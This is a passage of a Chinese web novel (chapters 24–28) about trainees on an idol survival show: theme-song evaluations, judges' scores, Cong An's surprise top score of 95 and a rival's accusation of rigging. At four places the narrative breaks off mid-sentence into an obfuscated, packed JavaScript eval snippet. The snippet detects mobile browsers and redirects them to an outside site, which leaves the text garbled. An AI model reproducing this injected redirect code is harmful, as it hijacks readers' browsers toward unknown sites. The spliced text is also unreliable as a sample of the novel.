初舞台拿到A,真的靠的是余修文的实力?而不是用了几个月的时间,只准备一个初舞台,然后又靠着公司的运营,才拿下的吗? 大家的心里有猜测,有疑问,但此刻在主题曲考核的镜头下,余修文的实力得到了淋漓尽致的展现。 不是花了数个月只练习初舞台,不是靠着公司的运作,更不是节目组对人气的低头,而是余修文他真的有这个实力! 在四名成熟练习生的对比下,余修文的表现丝毫不差! 五个人的初舞台表演结束,演播厅陷入了久久的沉默。 练习生们看着屏幕里停下动作的五人,心里五味杂陈。 他们知道A班肯定会表演的好,但是他们从未想过,他们竟然会表现得如此之好! 没有失误,没有勉强,没有前半段的全力以赴和后半段的体力不支,只有从头到尾都同样充满力度的动作,看起来轻松毫不费力的高音,还有那始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912328|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终看着镜头,全神贯注没有丝毫松懈的表情管理! 这真的不是出道艺人吗? 这真的是练习生应该有的实力吗? 【我看不用选了,就这五个人收拾收拾打包出道吧,还选啥啊?】 【附议】 【这五个人跟一个成熟男团有什么区别?已经好到天花板了,再选还能选出比他们更好的吗?没有更好的,难不成选四个比他们差的塞到一起出道吗?】 【我看也是不用选了,那些没上台的练习生,看起来都被吓坏了,哈哈】 等五人鞠躬致谢之后,演播厅内的练习生们才回过神来,随后爆发出由衷的、热烈的掌声和惊叹。 紧接着,就是导师打分环节。 A班五人没有离开,他们依然站在镜头前,他们看不到导师,但其他练习生和观众们,都可以看到屏幕下方属于导师的小屏里,导师们纠结的面庞。 五个人都十分优秀,该如何打分,确实是一个困难的问题。 茅安康拿着平板看了半天,犹豫了好一会儿,才终于输入了自己的分数。 二十分的满分,那十二分就是及格,十四分是普通,十六分是良好,十八分是优秀。 至于二十分,那就是完美。 毫无疑问,A班五人的成绩当然是及格的。 那及格之上呢? 茅安康举起了自己的平板,将分数展示在镜头前。 第一名被展示的练习生是余修文。 18分。 演播厅内响起一阵惊呼。 不是,余修文居然才18分? 练习生们你看我,我看你,满脸不可置信。 从安也忍不住睁大了双眼。 他觉得余修文的表现几乎挑不出错处,倒也不是说18分低了,毕竟满分才20分,但是余修文的分数扣在哪里?看不出来啊。 然后其他导师也举起了自己的平板。 晏尔给余修文打出了17分,伊宾白给余修文打出了19分,布鲁给余修文打出了18分,厍贝给余修文打出了打出了19分。 余修文总分91分。 接着闻辰90分。 师启94分。 查舟92分。 柯子晋91分。 A班分数公布完毕。 五人的身影也消失在镜头前。 演播厅内的练习生讨论声渐大。 只看20分,好像18分也不算低。 但是五名导师加起来,100的总分,只有91分,92分,94分……这种分数,就显得没那么高了。 毕竟这可是A班啊!是表现最好,实力最强的A班啊! 真要问练习生A班的人能拿多少分? 其实他们也不知道,但再怎么样,也不该是九十出头吧。 甚至所有人心里都公认实力最好的师启,居然也才拿了94,连95分都没有。 而闻辰更是只有90。 再低一分,就是8开头的了! B班的练习生面面相觑,马上就到他们考核,面对A班五人得到的成绩,他们此刻心里直打鼓,十分慌张。 很快,A班五人就回来了。 面对众多练习生的目光,他们的表情一如离开的时候,看不出高兴或失望。 只是走过一排排练习生,众人四目相对,互相拍掌,互相鼓励。 在广播下,B班站起五名练习生。 从安的室友夏实赫然在其中。 从安看过去,还看见了司景曜。 剩下的三人有些面熟,但隔得太远,他看不清他们胸前的名字,并没有认出他们是谁。 还是一样的流程,很快,这五人的身影出现在屏幕上。 依次自我介绍之后,B班第一组的初舞台考核开始。 相同的音乐,相同的舞步,不同的人。 25.第 25 章 差距,一目了然。 哪怕是唱跳实力均衡的夏实,此刻在屏幕上展示出来的主题曲,也远不如A班成绩最低的闻辰。 不是夏实的舞蹈不好,也不是他唱得不好,而是一些更细微的,更直观的,所谓感觉的东西。 可能是这个抬手的弧度,又或者那个低头的表情,又或是转身的节奏……明明每个动作都标准,但带给人的感觉却截然不同。 在场的都不是门外汉,哪怕训练时长再短,也多多少少训练过一段时间。 唱歌的天赋一目了然,舞蹈的天赋也同样如此。 在天赋不足的时候,只有夜以继日的努力,才能弥补这些细微的差距。 同样是完整地跳完一支舞,但总有人能跳得更舒展,更轻松,更惬意,看他们的舞蹈,会让人觉得是在享受,是在欣赏,是在感受一名鲜活的少年,在舞台上展现自己的生命力。 而不是仅仅在舞台上,将舞蹈动作完整地做完。 现在正在表演的夏实,他的主题曲没有什么不好,但和A班比起来,也没什么更好。 更别提B班这一组,还有严重偏科的司景曜了。 初舞台表演的司景曜并没有怎么展现自己的舞蹈实力,比起动作简单地堪比广播体操的舞蹈,他的歌声才是让所有人都印象深刻的东西,也是让他拿下B等级的原因。 而此刻表演主题曲的司景曜,在身边四人一致整齐的舞蹈动作中,他没有丝毫舞蹈基础的事实,被毫无遮挡地展现了出来。 他的唱依然完美,他还根据主题曲的类型,改变了自己的风格。 变得更加积极,更加阳光,歌声中充斥着力量,诉说着少年人勇往直前的热血与勇气。 但唱得越好,他的肢体就越是僵硬,力度和节奏,更是在身边四人的衬托下,显得格格不入。 一曲毕,演播厅内的练习生鼓掌欢呼。 这次B班的人表现一般,但剩下的练习生们,表情反而变得更加紧张。 很快,导师们打得分数出来了。 表现最好的夏实获得了这一组的最高分,84分。 严重偏科的司景曜得到72分。 剩下三人的分数都在两人成绩之间。 看到这一组的分数,练习生们的表情不由变得有些难看。 A班的成绩超乎他们想象的低,而紧随其后的B班,成绩更是落后一大截。 实力最强的A班和B班都是如此,那C班呢?D班呢?甚至F班呢? 不少人脸上挂着僵硬的微笑,试图让自己不要去想自己可能会得到的分数。 B班第一组的成绩,像一块沉重的冰,压在了所有尚未登场的练习生心上。 84分已是最佳,72分的现实更是残酷地提醒着大家:这不是一场允许明显短板的游戏。 紧接着,第二组、第三组B班练习生依次进入表演房间。 过程几乎和第一组一模一样。 有人舞蹈强劲,卡点精准,引得演播厅内懂行的练习生低声叫好,但一到vocal部分,气息的虚浮或音准的微小偏差,立刻被敏锐的捕捉到,那股劲儿便泄了大半。 有人歌声悦耳,情感饱满,站在那里清唱足以动人,可一旦结合舞蹈,动作便不可避免地变得保守、简化,甚至因为兼顾歌唱而错过细微的节奏变化,在需要整齐划一的段落里显得格外突出。 也有如夏实一般,唱跳均衡,完成度无可指摘的。 他们流畅地跳完了整支舞,稳当地唱完了整首歌,没有失误,但也仅止于此。 他们的表演像一份工整的答卷,该有的都有,却缺少让人心跳加速、眼前一亮的那一点火花。 导师们的打分残酷地印证了这种观感。 第二组最高分83分。 第三组最高分85分,最低分跌到了70分。 没有人升A,反而有不少人眼看着跌落B班,到C班甚至D班。 “太严了……”有C班练习生忍不住低声哀叹,“跳成那样才给80出头?我感觉我连70都够呛。” “你看那个谁,唱得多好啊,就因为跳得软了点,直接78……” 焦虑如同冰冷的藤蔓,缠绕上每个人的喉咙。 导师们没有言说的评分标准,也在一次次分数公布中变得清晰,让还未表演的练习生们更加惶恐。 就在这种低沉压抑、几乎令人窒息的气氛中,广播念出了下一组的名字。 “……陈子谦,请准备入场。” 一连串的名字后,最后一个名字让许多人精神微微一振。 如果说在考核开始之前,大家对B班能升A的练习生猜测颇多,那在考核开始,看到导师们严苛的评分标准之后,能升A的练习生名单就迅速缩减。 而在缩减后的名单里,陈子谦,就是许多人猜测的名字。 光芒娱乐的练习生,和现在A班的练习生柯子晋同属一家公司。 这个公司多年来培养练习生,为娱乐圈输送了不少爱豆,经过多年发展,已成为无数练习生眼中的大公司。 他们不仅有出道多年粉丝众多的同公司前辈,还有圈内不少综艺、电视等资源,同时还有全面系统的培养体系。 所有人都有一个共识,从光芒娱乐出来的练习生,再差也差不到哪里去。 这次光芒娱乐送了三名练习生来参加节目,成绩最好的柯子晋是A班,稍弱一点的就是车明杰和陈子谦,两人都是B班。 从这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918524|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个初舞台评级结果,就可一窥光芒娱乐的实力。 在上一组主题曲考核中,车明杰的考核已经结束,他的声乐一般,初舞台时也是靠着出众的舞蹈能力得到了A,所以在刚在的考核,他只拿下了74分的成绩。 算下来,主题曲考核成绩便是C。 而陈子谦的实力,从初舞台中就可以看出来,比起车明杰全面了不少,练习时长也更长。 而这次初舞台的考核,经过多轮考核,练习生们已经大致判断出来,导师们更侧重的,是整体的呈现。 只有唱得好或是只有跳得好是不够的,他们要同时完成唱跳,还不能有失误,还要有闪光点,如此,才能得到一个高分。 标准出来了,但要完成却丝毫不简单。 主题曲的难度并不低,舞蹈动作大,本就会对气息产生很大的影响,要在动作标准有力度还有美感的同时,要完整且清晰的唱出歌词,就已经是一件困难的事情。 更别提还不能有失误了。 所以在考核进行了没多久之后,很多人就已经打消了自己能升入A班的想法。 他们清楚自己的实力。 但同时,他们也清楚在自己身边训练了许久的同伴的实力。 B班不少人目光停留在陈子谦身上。 经过三天练习,哪些人实力更强,哪些人更擅长什么,众人心里都已经有了数。 如果B班只能有一个人升入A班,那大概率就是陈子谦了。 在众人注视的目光中,陈子谦和其他四名B班的练习生,跟在工作人员身后,离开了演播厅。 没过多久,这五人的身影便出现在屏幕上。 没有其他环节,在自我介绍结束后,很快,主题曲前奏的音乐就在整个演播厅内响了起来。 所有人都打起精神。 本就熟悉得不能再熟悉的歌,又在一早上专心致志的表演与观看之后,练习生们对这首歌更熟悉了。 现在的他们,对这首歌的旋律和节奏,几乎都已经刻在了骨子里。 倒着都能把这首歌唱出来。 在众人的注视下,大屏幕里的五名练习生,也做出了第一个舞蹈动作。 下一瞬,许多人的目光就不由自主地落在了站在边缘的陈子谦身上。 如果是五个实力相差不多的人,观众的目光可能会不由自主地落在中间位的人身上,又或是落在自己更喜欢的人身上。 但如果是实力差别明显的人身上——无论是好得很明显,又或是差得很明显——那观众的目光就会不由自主地移过去。 落在他的身上,再也看不到别人。 而此刻,陈子谦就吸引了绝大部分的目光。 他,好的太明显了。 26.第 26 章 起手,动作流畅而舒展。 与初舞台相比,陈子谦的舞蹈明显有了质的提升。 框架打开了,力度控制得当,虽然仍不如顶尖舞担那般充满炸裂的力量感,但每一个动作都做到了位,衔接自然,更重要的是,舞蹈与音乐节奏的契合度极高,丝毫不影响他即将开始的演唱。 然后陈子谦开口了。 清泉般透亮又带着温暖质感的嗓音瞬间抓住了所有人的耳朵。 在并不简单的舞步中,陈子谦的气息稳定得惊人,音准精准,高音部分不仅轻松上去,还保持了漂亮的头腔共鸣和情感厚度,给他的表演有一种独特的诉说感,不是炫技,而是在用歌声和舞蹈共同讲述《星光》的故事。 舞蹈和歌声相辅相成,构成了一个整体。 当最后一句歌声与定格的舞姿同时落下时,演播厅里安静了一瞬,随即爆发出激烈的掌声。 “厉害!”A班区域,查舟忍不住挑眉赞了一句。 不少人更是惊讶的长大了嘴巴。 知道陈子谦实力好,但没想到陈子谦实力这么好啊! 这,这和A班那些人比起来几乎没有差别。 掌声经久不息,然后导师们的评分也出来了。 陈子谦:18,17,18,19,18! “他这是90分吧?”有人盯着屏幕上导师们打出来的分数,在心里迅速地加减,得到90分的结果后,还不敢相信,转问身边的人。 “对对。”他旁边的人忙不迭点头,心里动作很快的又算了一遍,确定了陈子谦的分数就是90分,“这还是B班第一个上90的,感觉这次主题曲评级,肯定是90分以上的才能拿到A,所以陈子谦这是升到A班了!” 两人对视一眼,眼睛里既有兴奋又有失落。 好到像陈子谦这样,才能拿到90分,才能升到A班,那他们,肯定是再没有希望升班了,说不定只能留在原来的等级了。 这么一想,两人都有些遗憾。 不过这么久的考核下来,能看到有人升班,众人还是十分激动。 不管心里是不是真的激动,但在镜头前,练习生们都表现出了一副兴奋的模样。 等陈子谦等人回来了,他一路走过的练习生们,也都纷纷为陈子谦送上了恭喜和祝福。 鼓掌,拥抱,拍手……仿佛整个演播厅的练习生们,都在为了陈子谦的升班而真心快乐。 流程赶得很快,陈子谦回来没多久,B班最后一组参加考核的练习生就出现在了镜头前。 自我介绍结束,熟悉的音乐再次响起。 五分钟后,表演结束,又到了导师们打分的环节,练习生们目不转睛,盯着屏幕上导师们翻转过来的平板,看着上面显示出来的分数。 “……18,19……又是一个90分!” 迅速的将每位导师的分数相加之后,有人说出了最后的总分。 90! 众人迅速看向了得到了90分的练习生身上——白思远。 继陈子谦之后,B班又一名突破80分的练习生。 虽然两人都是只有90,但至少B班实现了零的突破。 在最后一组练习生回到演播厅之后,众人和上一组一样,激动且兴奋地给白思远祝福。 又是欢呼又是鼓掌,簇拥着白思远,好不热闹。 等白思远走回自己的座位坐下,时间都过去了两分钟。 广播再次响起,C班练习生的名字响了起来。 演播厅回复安静,练习生们脸上的兴奋渐渐减弱,归于平静。 B班的考核已经结束,C班的考核即将开始。 考核比所有人想象的都更要严格,升班的人少之又少,反而是降级的人,数都数不过来。 B班的成绩都这么差了,那C班呢? C班的练习生们你看我我看你,哪怕尽力克制,脸上也不由得带出了些许的忐忑。 从安坐在C班的人堆之中,抿着嘴,缓慢地呼吸,试图缓解自己紧张的情绪。 “……从安……” 从安听到广播里出现了自己的名字。 他是C班第一组考核的练习生之一。 从安心里抖了一下。 很快,他站了起来。 “从安加油!” “我相信你可以的。” “放轻松,不要紧张。” 从安身边没喊到名字的练习生们纷纷站了起来,他们和从安拍手,拥抱,纷纷为他加油鼓劲。 * 从安跟在工作人员身后走出演播厅,门在身后合上,隔绝了里面那些或鼓励或探究的目光。 走廊里很安静,只有几个工作人员安静地站在墙边。 领路的工作人员步子很快,从安深吸一口气,跟了上去。 他能感觉到自己的心跳,咚、咚、咚,在胸腔里敲得有点重,但手脚是稳的,脑子里一遍遍过着《星光》的旋律和动作分解,这三天,这些东西几乎刻进他骨头里了。 走过转角的时候,从安抬眼,从走廊两侧的单面镜上看见了自己的脸。 今天的妆画得比往些天精致,化了细致的底妆,让肤色更加均匀还提高了亮部,在阴影的作用下,变得轮廓分明十分立体。 眉毛根根分明,眼影加深了眼睛的轮廓,原本就大且黑的眼睛,此刻更加突出。 走在从安前面的练习生转动间和从安对上视线,笑了一下,然后匆匆收回视线。 也不知道今天是哪个化妆老师给从安化的妆,怎么这么帅呢。 他明天要不也去排那个化妆老师的队好了。 从安五人离开后,演播厅内并没有安静下来,C班那片区域里,好几个人还抻着脖子往门口看。 “哎,你们说从安能拿多少分?”李瑞坐回座位,胳膊肘碰了碰旁边的人,压低声音问。 旁边是周骏。 周骏这几天在C班练习室,眼睁睁看着从安怎么练的,他抿了抿嘴,想了几秒,很肯定地说:“肯定能升班。” “那必须的啊!”李瑞一拍大腿,声音没控制住,引来前排几个人回头看他,他赶紧缩缩脖子,声音压得更低,“你这不是说废话嘛,我是说,具体能多少?B?还是……A?” 他说A的时候,声音忍不住有些飘。 这可是A班啊,那是师启、查舟他们待的地方,从安初舞台才C…… 但如果从安都不能拿到A,那C班还有谁能拿到A? “不知道。”周骏老实摇头,“但他练得……太吓人了。” 在他们说话的时候,一片空白的屏幕上,终于出现了从安等人的身影。 他们按照地上的定位贴站好,整个身体刚好被镜头从头到脚框柱。 专门设置好的参数和距离,能完美地捕捉每个人的姿态。 从表情,到身材。 看到屏幕上出现人影,练习生们纷纷停下讨论,把注意力转移到屏幕上。 “不是,中间那个是从安吧?”有人盯着屏幕,突然感觉有些不对。 每个人胸前贴着大大的名牌,名字看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921023|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一清二楚。 站在最中间那个人,胸前的名字赫然写着从安二字,但是看这人的脸,怎么感觉有些怪怪的呢? 他身边的人顺着看过去,这一看,瞬间注意到了不对劲。 “从安是不是变帅了?” 节目里一百名练习生,每个人不可能全都互相认识,但一些话题练习生,哪怕对方不认识他们,他们也都会认识他。 比如师启,比如柯子晋,比如司景曜……又比如从安。 只是和前面实力和人气都胜的风云人物不同,从安的话题,更多的集中在了他的公司和养成系的身份上面。 明辉娱乐,大公司。 养成系,和他们截然不同的体系。 同时再加上初舞台平平的表现,以及毫无可取之处的外表。 让许多人都不理解,明辉娱乐这么大的公司培养出来的练习生就这样吗? 还是说养成系就爱这一口? 但此刻,站在他们面前的从安,却和他们印象中的截然不同。 “我去好帅。”周骏盯着屏幕上的从安,眼睛发亮。 “哇。”李瑞也长大了嘴巴。 秦宽更是不敢相信地揉了揉自己的眼睛,“不是,从安怎么变得这么帅了?” 感情今天早上不是他的错觉啊! 李瑞手动合上了自己的嘴,“他这是减肥出成果了吧。” 周骏不敢置信:“不是才三天吗?三天就瘦了这么多?” 他伸出手比了一个圆:“你们看他的脸,那——么小!” 又伸出大拇指和食指量了一下距离:“腿那——么长!” “眼睛,那——么大!” “还有那个锋利的下颌线,感觉都要刺穿屏幕捅到我的眼前了!” “他之前不还圆嘟嘟可可爱爱的吗?” 周骏至今还记得,初舞台听见从安的自我介绍,他当时看着从安圆圆的脸,圆圆的眼,只感觉从安不愧是养成系——完美符合他心中养成系就是小孩儿的刻板印象。 从安这幅长相,不是小孩是什么?还是那种一看就吃得好睡得好还天天出门在太阳底下玩儿的小孩。 一看就是个皮孩子。 只是后来和从安相处了几天,周骏才发现从安根本不皮,反而很霸总。 但这也不是相貌转眼就变的原因啊! “他减肥减成那样,很难不瘦吧。”李瑞幽幽开口,语气没有太多惊讶,他早就想到有这一天,只是没想到这一天有这么快,也没想到效果有这么好。 但是,被明辉娱乐从全国无数孩子中精挑细选挑出来的孩子,又能经过层层考核得到公开,养成五六年,成功参加出道战的孩子,又怎么可能会不好看? 现在从安只不过是脱去了之前没有管理的外衣,重新找回了自己身为偶像预备役的基本条件。 秦宽目瞪口呆,无声吸气,无声吐气,只感觉世界观受到巨大震撼。 人,居然能在三天时间内脱胎换骨! 他不由得伸手摸上自己的脸,早上照镜子时看到的那张宛如死尸般的面庞依然停留在心中。 虽然化过妆之后,已经少了许多憔悴,看起来健康了些许,像个正常人了,但是水肿的脸,疲惫的黑眼圈,摸不到棱角的下颌线,都在冷冰冰地告诉秦宽,他的颜值大打折扣! 秦宽眨眼。 他也要天天吃西蓝花生菜鸡胸肉维生素片,晚上十一点睡早上五点起,去外面锻炼吗? 会死人的吧? 秦宽忍不住打了个寒颤。 27.第 27 章 舞台上,巨大的屏幕亮着。 从安和其他四名C班练习生站在镜头前做自我介绍。 鞠躬,微笑,每个人都把这个流程刻在了骨髓里。 从安直起身,目光锁定自己面前的镜头,露出熟练的微笑。 坐在台下时从安还有些许紧张,但现在站在这里,他什么想法都没有了。 尽管现场没有观众,但他知道在镜头后,在直播间,有无数人在看着他。 他从不会因站在舞台上而紧张,他只会为了站在这个地方,付出自己的全部。 “倒计时,三,二,一——” 耳机里传来倒数的声音,在倒数结束的片刻,熟悉的前奏响了起来。 这是过去七十二小时,从安印刻在骨子里的旋律。 抬手,扬眉,从安对着镜头,露出无比灿烂的笑容。 《星光》的旋律轻快,节奏清晰,歌词积极向上,是一首让人听着,心情就忍不住变好的歌曲。 表演这首歌,要保持自己的情绪始终在一个积极的状态,表情管理也要更加活泼富有感染力,舞蹈动作尽可能轻快,幅度要更大,动作要更利落,要充满力度的同时不能有沉重的感觉。 从安提着气,脚下的每一个步伐都清晰地踏出,利落地收回。 核心收紧,框架打开,每一个舞蹈动作,都在控制之内。 茅安康坐直了身体。 “从安跳得……”演播厅内,不少人的目光也落在了从安的身上。 前奏结束,来到第一个唱段,从安张开了口。 “清晨的微光唤醒沉睡的渴望 褪去了迷茫眼神变得坦荡” 《星光》演唱的难度不高。 没有太高的音,没有复杂的技巧,有的是欢快的旋律,朗朗上口的歌词,突出了练习生坚持、逐梦、不放弃的主题。 而始终追逐的星光,既是未来的梦想,也是在节目过程中始终陪伴的粉丝。 积极,努力,陪伴,一路前行。 这是《星光》这首歌要表达的含义。 从安踩着鼓点一个转身,面向前方的同时,右脚重重踩地,身体稳稳停下。 伸手,开口。 再熟悉不过的歌词从口中流淌而出。 “Hey! 逐光而上 这束光握在手上 指引我去最远的地方” 一曲结束,音乐缓缓停下,考核间内一片安静,只有呼吸声起伏。 两秒的ending pose之后,从安等人站直身体,鞠躬致谢。 “大家再等一下。” 耳机里传来工作人员的声音,从安等人起身,没有急着离开,站在镜头前。 不敢有太多的动作,也不敢有太多的表情,只静静地站着,默默调整呼吸。 耳机里也一片安静,再没有工作人员的声音响起。 从安呼吸已经趋于平静,他没有朝四处看,只是脸上挂着淡淡的笑容,看面前的镜头。 之前几组练习生表演的时候,在导师评分环节,他们也都是站在镜头前。 看来现在导师正在评分。 只是刚才他在台下看,没想到这个房间里居然一点声音都没有。 也没有导师镜头的转播。 所以在这里等待的时候,完全是一片未知的等待。 既没有观众的反应,也没有导师的评价。 只有一间封闭的房,和安静工作的摄像机,以及身边一起表演的练习生们。 从安感觉等了很久,才终于听见耳机里再次传来了声音。 “你们可以回去了。” 没有说话,从安等人转身离开。 一关上门,就有人迫不及待开口了。 “吓死我了我的天!”说话的人捂着胸口,一脸后怕。 也没人告诉他对着摄像机唱跳压力这么大啊! 初舞台对着导师和一群练习生表演他觉得压力就已经够大的了,结果没想到今天更吓人啊! “我也是,我差点动作都忘记了。”旁边的人连连点头,深有同感,“还好有从安,不然这支舞我都跳不完。”说完,他看向从安,一脸感激。 此话一出,剩下三人也看了过来。 “对对,我感觉我动作记得很熟了啊,结果没想到一站在镜头前,我居然什么都忘了。” “还好和从安一组,看到了一些动作,不然我肯定完蛋了。” “从安你跳得好好啊,你这次肯定能升班。” 从安笑笑没说话。 镜头无处不在,麦克风也时刻收音,这个时候说什么都不合适。 回演播厅的路不长,五人很快就回到了演播厅。 推开厚重的大门,熟悉的灯火通明的场景又出现在从安眼前。 嘈杂的声响突然一滞,然后又很快响了起来。 密密麻麻的目光,朝刚刚推开的门口投了过来。 “怎么回事?他们都在看我们?”推门的练习生缩了缩脖子,有些摸不着头脑。 之前其他考核完的练习生回来也是这样全场注目礼的吗? 他怎么感觉现在所有人都在看他们呢? 他们有什么好看的? 在看谁? 他左右看了看,然后看到了从安。 从安表情不变,领先一步走在了前面。 练习生们的目光也跟随从安的步伐,顺着他移动。 是在看从安! 从安只当没感觉到大家的注视,顺着侧面的楼梯一路向上,朝C班的位置走去。 路上路过一众F班和D班的练习生,但很奇怪,没人上前和从安说话。 分明刚才考核的练习生回来时,成绩好的会得到其他人的祝贺,成绩不好的会得到其他人的鼓励。 哪怕表现平平,也会有掌声和欢呼。 所有人都乐于在这样的环节展现自己的热情。 从安脚步不停,走到自己的位置上坐下。 然后立刻知道了此刻微妙氛围的原因。 “从安,你95分!”从安一坐下,秦宽就迫不及待地靠近从安,压低声音说出了从安的分数。 从安睁大了眼睛,连嘴巴也跟着张大了。 95分! 他这回是真的惊讶了。 旁边的李瑞也凑了过来。 “95分!你现在是最高分!” 说到这个最高分,李瑞挑挑眉,一脸骄傲。 这可是最高分!而现在这个最高分出现在他们C班! 同为C班的人,李瑞与有荣焉! 周骏也忙不迭点头,拍着从安的肩膀,一脸激动,“我就知道你可以!” 面对身边C班众人激动的目光,从安不太敢相信,“我真的是95分?你们没算错?” 他确实相信自己不会太差,但是会这么好吗? “当然没算错!”周骏右手一挥,“我们所有人都算了一遍,都是这个分!” “这种小学生计算,还有人会算错的吗?” 李瑞缩了缩头,不敢说自己最开始直接把五个分数相加,加半天加到导师们都把成绩收回去了,他也没把总分算出来。 还是后来才反应过来,直接算减了多少分就行了。 “一个满分,一个18分,剩下的都是19分,一共扣了5分,这怎么可能算错?”秦宽说起这个分数,还感到有些不可思议。 这可是满分!20分!之前那么多练习生都没有人拿到过20分!但从安拿到了! 秦宽咋舌。 知道从安的分不会低,但他怎么也想不到会这么高啊。 全场第一,这是什么概念? 之前的最高分是94,来自师启。 要知道师启可是在国外练习了五年,备受瞩目即将成团出道的练习生,是本季《星光熠熠》选手和观众心中一致认为的最强者,而现在,从安的主题曲,居然比这个最强者还要高1分! 这可不是简简单单的1分,而是意味着从安比师启更强的1分! “……上午的录制告一段落,接下来……” 从安在自己的分数里愣了好一会儿,等广播中传来休息的声音才回过神。 今天的录制从九点开始,经过这么多组的考核,时间已经不早,到了休息的时间了。 随着大屏幕的暗下,正襟危坐了一上午的练习生们顿时松懈下来,之前还压着的谈论声,此刻到达顶峰。 “从安,你拿了95分!”夏实和汪元白两人急匆匆地从B班跑到从安面前,两人身边还跟着一大堆B班的练习生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938231|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这群B班的人一过来,周围C班的人也站了起来。 “对呀对呀,从安拿了95分,厉害吧!” “厉害,太厉害了。”夏实竖起大拇指。 夏实自己练习的时候,觉得自己练得还挺好,但等往考核间一站,音乐一放,他才知道什么是练习和考核的区别。 练习时熟悉得不能再熟悉的动作和歌词,考核时就跟烫嘴一样,怎么也唱不出来。 完全大脑空白,什么都想不起来。 当时他就那一个心慌。 他本还想着升A呢,结果能保住B就不错了。 “师启,这一定是黑幕!你的表演分明更好!你才应该是最高分!”突然,一道声音压过所有讨论,在空旷的演播厅内响了起来。 顿时,众人的目光都朝声音传来处望去。 一名穿着绿色训练服的F班练习生,站在了要离开的师启面前。 那人感受到众人的视线,激动地挥舞着双手,大声列举黑幕的证据。 “谁不知道从安去年也录过杜导的节目,高考结束之后突然加入这季的《星光熠熠》,怎么看都有问题吧?”他提起的这些事情,像是撕破了一层朦胧的纱,掀开了什么被掩饰的东西,“是他们公司硬把他塞进来的也说不定,本来他们公司就喜欢在不同的节目里塞他们的艺人。” “虽然很不公平,但这个世界本来就是这样,我想着忍忍就过去了。”他越说越气愤,看着师启的目光格外不甘心,“但是他怎么能在主题曲的考核上做票?师启,你明明才是实力最强的,你练习了这么久,你的初舞台所有人都看见了,大家都知道你的实力。” “但是从安呢?他的初舞台只有C!” “我为你不甘心!他夺走了你的C位!” 他说的十分激动,义愤填膺,仿佛遇见了天大的不公。 他看着师启的目光是那样真挚,仿佛自己是师启最忠诚的骑士。 师启皱起了眉。 “你没有看从安的主题曲考核吗?”余修文的声音响了起来。 “什么?”愤怒的练习生愣了一下。 “从安的主题曲考核。”余修文开口:“只要仔细看了从安的主题曲,都说不出导师的打分是黑幕的话吧。” “他的表演很好,堪称完美。” “三天时间能呈现出这样的表演,当然值得这样的分数。” 似是被余修文的话惊讶到了,那名练习生脸上夸张的愤怒僵硬了片刻,然后他才扯动嘴角再次开口:“但是,但是师启才是实力最强的啊……” 他看着师启,眼神中透露着祈求,好似想要得到师启的肯定。 师启摇头:“人外有人天外有天,哪里有什么最强?大家都是练习生,都处在练习的阶段,我只是比很多人的练习时长更久一些而已。你们花同样的时间练习,也会这样。” 说完,师启不再看他,转身和余修文离开。 旁边A班的其他人也跟着离开。 等身边没人了,余修文才压低了声音凑到师启耳边:“刚才那个人明显是故意的,你可不要被他骗了。” 师启抿唇,微微点头:“我知道。” 说完,两人头也不回地朝外走去。 等师启等人彻底不见踪影,沉寂了一会儿的演播厅内再次热闹起来。 安文乐不知道什么时候走到了从安身边,看着下面那名F班练习生的身影,开口道:“从安,我相信你的分数不是黑幕。” 从安闻言看了一眼安文乐,不知道这人是什么时候凑过来的。 如果他没记错的话,他们两个或许没什么关系?甚至在安文乐眼里,还算是关系不好? 安文乐好似没察觉到从安疑惑的视线,自顾自开口道:“你这几天在C班的练习强度,我们所有人都看在眼里,其他班的人可能会觉得你的主题曲成绩很突然,但我们大家知道,这是你努力的证明。无论别人怎么质疑你,我们所有人都会为你作证的!” 安文乐的话引起了周边一众C班练习生的共鸣,他们纷纷点头,一脸坚定。 夏实汪元白这堆从B班跑过来的人,闻言好奇极了,连忙问了起来。 于是一堆人问,一堆人解释,被讨论的主人公从安反而坐在座位上,没人搭理了。 28.论坛体 